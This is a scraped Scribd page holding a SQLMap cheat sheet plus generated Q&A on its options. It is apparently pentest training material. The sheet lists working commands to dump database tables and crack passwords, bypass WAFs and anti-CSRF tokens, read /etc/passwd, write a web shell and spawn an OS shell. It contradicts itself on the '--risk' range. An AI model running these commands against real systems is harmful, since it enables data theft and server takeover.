0% found this document useful (0 votes)
3K views2 pages

SQLMap Command Cheat Sheet

The document describes various commands and parameters that can be used with the sqlmap tool for automating SQL injection and database takeover. It provides examples of using sqlmap to test for SQL injection vulnerabilities, enumerate database and table information, dump database table contents, bypass web application firewalls and anti-CSRF tokens, leverage SQL injection to read and write local files, and spawn an operating system shell. The document also explains options for customizing the sqlmap behavior, such as specifying injection techniques, tampering scripts, and modifying detection settings to find more complex vulnerabilities.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3K views2 pages

SQLMap Command Cheat Sheet

The document describes various commands and parameters that can be used with the sqlmap tool for automating SQL injection and database takeover. It provides examples of using sqlmap to test for SQL injection vulnerabilities, enumerate database and table information, dump database table contents, bypass web application firewalls and anti-CSRF tokens, leverage SQL injection to read and write local files, and spawn an operating system shell. The document also explains options for customizing the sqlmap behavior, such as specifying injection techniques, tampering scripts, and modifying detection settings to find more complex vulnerabilities.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
  • Basic Commands
  • Advanced Command Options
  • Command Techniques

| **Command** | **Description**

|
| ------------------------------------------------------------ |
----------------------------------------------------------- |
| `sqlmap -h` | View the basic
help menu |
| `sqlmap -hh` | View the advanced
help menu |
| `sqlmap -u "[Link] --batch` | Run `SQLMap`
without asking for user input |
| `sqlmap '[Link] --data 'uid=1&name=test'` | `SQLMap` with POST
request |
| `sqlmap '[Link] --data 'uid=1*&name=test'` | POST request
specifying an injection point with an asterisk |
| `sqlmap -r [Link]` | Passing an HTTP
request file to `SQLMap` |
| `sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'` | Specifying a
cookie header |
| `sqlmap -u [Link] --data='id=1' --method PUT` | Specifying a PUT
request |
| `sqlmap -u "[Link] --batch -t /tmp/[Link]` |
Store traffic to an output file |
| `sqlmap -u "[Link] -v 6 --batch` | Specify
verbosity level |
| `sqlmap -u "[Link]/?q=test" --prefix="%'))" --suffix="-- -"` |
Specifying a prefix or suffix |
| `sqlmap -u [Link]/?id=1 -v 3 --level=5` | Specifying the
level and risk |
| `sqlmap -u "[Link] --banner --current-user --current-db --
is-dba` | Basic DB enumeration |
| `sqlmap -u "[Link] --tables -D testdb` | Table enumeration
|
| `sqlmap -u "[Link] --dump -T users -D testdb -C
name,surname` | Table/row enumeration |
| `sqlmap -u "[Link] --dump -T users -D testdb --where="name
LIKE 'f%'"` | Conditional enumeration |
| `sqlmap -u "[Link] --schema` | Database schema
enumeration |
| `sqlmap -u "[Link] --search -T user` | Searching for data
|
| `sqlmap -u "[Link] --passwords --batch` | Password
enumeration and cracking |
| `sqlmap -u "[Link] --data="id=1&csrf-
token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"` | Anti-CSRF
token bypass |
| `sqlmap --list-tampers` | List all tamper
scripts |
| `sqlmap -u "[Link] --is-dba` | Check for DBA
privileges |
| `sqlmap -u "[Link] --file-read "/etc/passwd"` | Reading a
local file |
| `sqlmap -u "[Link] --file-write "[Link]" --file-dest
"/var/www/html/[Link]"` | Writing a file
|
| `sqlmap -u "[Link] --os-shell` | Spawning an OS
shell |

--batch = Never ask for user input, use the default behaviour
--dump = Dump DBMS database table entries
--dump-all = Dump all DBMS databases tables entries
--randomize=rp = To randomize value before being sent: E.g., sqlmap -u
"[Link] --randomize=rp --batch -v 5 | grep URI
--proxy = Uses proxy E.g., proxy="socks4://[Link]:33283"
--proxy-file = Uses a file containing a list of proxy
--skip-waf = Skips the initial WAF test
--random-agent = Uses a random user-agent
--chuncked = Splits the POST request's body into so-called "chunks"
--tamper = Uses tamper scripts E.g., --tamper=between,randomcase
--fresh-queries == redo queries for the single run

--technique = To specify the SQLi technique to be used E.g., --technique=BEU


B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries

--eval = Uses python code to calculate parameter before it is sent E.g., sqlmap -u
"[Link] --eval="import
hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI

--level 5
--risk 5
By default, SQLMap combines a predefined set of most common boundaries (i.e.,
prefix/suffix pairs), along with the vectors having a high chance of success in
case of a vulnerable target.
Nevertheless, there is a possibility for users to use bigger sets of boundaries and
vectors, already incorporated into the SQLMap.
For such demands, the options --level and --risk should be used:

The option --level (1-5, default 1) extends both vectors and boundaries being used,
based on their expectancy of success (i.e., the lower the expectancy, the higher
the level).

The option --risk (1-3, default 1) extends the used vector set based on their risk
of causing problems at the target side (i.e., risk of database entry loss or
denial-of-service).

--union-cols=X
--union-char='x'
In some cases, UNION SQLi payloads require extra user-provided information to work.
If we can manually find the exact number of columns of the vulnerable SQL query, we
can provide this number to SQLMap with the option --union-cols (e.g. --union-
cols=17). In case that the default "dummy" filling values used by SQLMap -NULL and
random integer- are not compatible with values from results of the vulnerable SQL
query, we can specify an alternative value instead (e.g. --union-char='a').

Common questions

Powered by AI

Using SQLMap's 'risk' option at its highest setting (value 3) significantly increases the scope of the attack vectors utilized, which might lead to disruptive actions such as database entry loss or denial-of-service conditions at the target side. While this setting can provide deeper insight into vulnerabilities, it may also result in non-reversible damage or the unintended exposure of sensitive information. Therefore, while it maximizes the detection of vulnerabilities, it necessitates a careful assessment of the potential impacts on a target system to prevent undesired consequences. Such risks should be weighed against the necessity for thorough vulnerability discovery in sensitive or critical environments .

SQLMap's batch mode improves efficiency by automating responses to SQLMap's interactive prompts, allowing tests to proceed without user intervention. This is particularly beneficial in scenarios where numerous tests need to be conducted in a short period, such as a large-scale vulnerability assessment or penetration test on web applications, where stopping for input repeatedly would slow down the process significantly. By using the default behaviors provided in batch mode, testers can streamline the overall process and focus on analyzing the results more efficiently .

SQLMap's ability to read and write files on a target system broadens its use from merely testing SQL injection vulnerabilities to facilitating more advanced exploitation techniques. Reading files, such as '/etc/passwd', can reveal sensitive information about the system configuration, potentially leading to further exploitation or an understanding of the system's user environment. Writing files, like using the '--file-write' option to plant a web shell, enables the execution of arbitrary commands on the server, significantly compromising the system’s integrity. This capability elevates the risk by transforming a potentially recoverable SQLi flaw into a cyber threat that can introduce persistent backdoors and unauthorized control .

The '--proxy' option in SQLMap facilitates testing by routing requests through a specific proxy server, allowing testers to mask their IP address and simulate attacks from different locations. This feature is crucial in penetration testing to avoid blacklisting due to multiple requests from the same IP and to test geographic restrictions on web services. Additionally, using proxies enhances anonymity and helps in bypassing certain network restrictions or monitoring controls that might detect or limit direct communication with the target. Thus, it enriches the testing conditions, offering more realistic attack simulations .

Bypassing CSRF protection using SQLMap's anti-CSRF token features provides a strategic advantage during vulnerability assessments by enabling testers to manage requests that are otherwise protected by anti-CSRF measures. These features allow customization of requests in which CSRF tokens are dynamically included, mimicking legitimate actions and facilitating the exploit of vulnerable endpoints without obstruction. This is vital for identifying vulnerabilities in applications where CSRF protections are incorrectly implemented, thereby ensuring a more accurate assessment of the application's security posture and revealing weaknesses that could be leveraged by attackers in the real world .

Tamper scripts in SQLMap play a pivotal role in altering payloads to bypass web application firewalls (WAFs) and intrusion detection systems (IDS). These scripts manipulate the SQL syntax in ways that avoid detection by security measures that rely on pattern matching. By utilizing tamper scripts, penetration testers can increase the likelihood of successful SQL injection attacks on targets with sophisticated defensive measures. The scripts can covertly manipulate requests, ensuring that potentially blocking or restrictive rules do not impede the testing process, ultimately affecting the test’s efficacy by providing more comprehensive vulnerability identification .

The '--level' and '--risk' options in SQLMap address different aspects of testing complexity and thoroughness. The '--level' option (ranging from 1 to 5) determines the aggressiveness of the testing by increasing the number of payloads and boundaries used, potentially exploring more nuanced vulnerabilities as the level increases. The '--risk' option (ranging from 1 to 3) extends the attack vectors based on the likelihood that they might cause adverse effects on the target, such as data loss or disruption. While '--level' affects the comprehensiveness of the assessment, '--risk' determines the caution needed to mitigate potential harm during the testing process .

The '--union-cols' option refines SQL injection attacks by specifying the exact number of columns in a vulnerable SQL query, which is crucial for the successful execution of UNION-based attacks. This precision is applicable when the default values used by SQLMap for column unionization, such as NULL, do not align with the targeted database schema's expectations. For instance, if a column expects strings rather than integers, specifying a compatible 'dummy' value ensures the attack fits the query's structure, increasing the chances of success by actively matching the vulnerable system's requirements and evading potential constraints .

The '--technique' option is particularly useful in scenarios where initial tests fail to identify SQL injection vulnerabilities, suggesting that more specific attack strategies may succeed. By specifying techniques such as Boolean-based blind (B) or Error-based (E), testers can target particular query responses more effectively. Each technique, with its distinct method of exploiting SQL vulnerabilities, provides alternative pathways for discovering flaws that general scanning might miss. For instance, Boolean-based injections rely on the web application's logical true/false conditions, while Error-based techniques extract information through forced error messages, thereby enhancing a penetration test's comprehensiveness and success rate by adapting to different application defenses .

Specifying a user agent with the '--random-agent' option in SQLMap is significant for testing because it helps masquerade requests as legitimate traffic from diverse browsers and devices. This can circumvent certain security mechanisms that filter, log, or block repeated requests from a single user agent. Randomizing the user agent string improves stealth during a penetration test, reducing the likelihood of detection and blocking by intrusion prevention systems. It aids in evasion techniques during testing, thereby refining the reliability of the exercise by mimicking genuine web traffic .

You might also like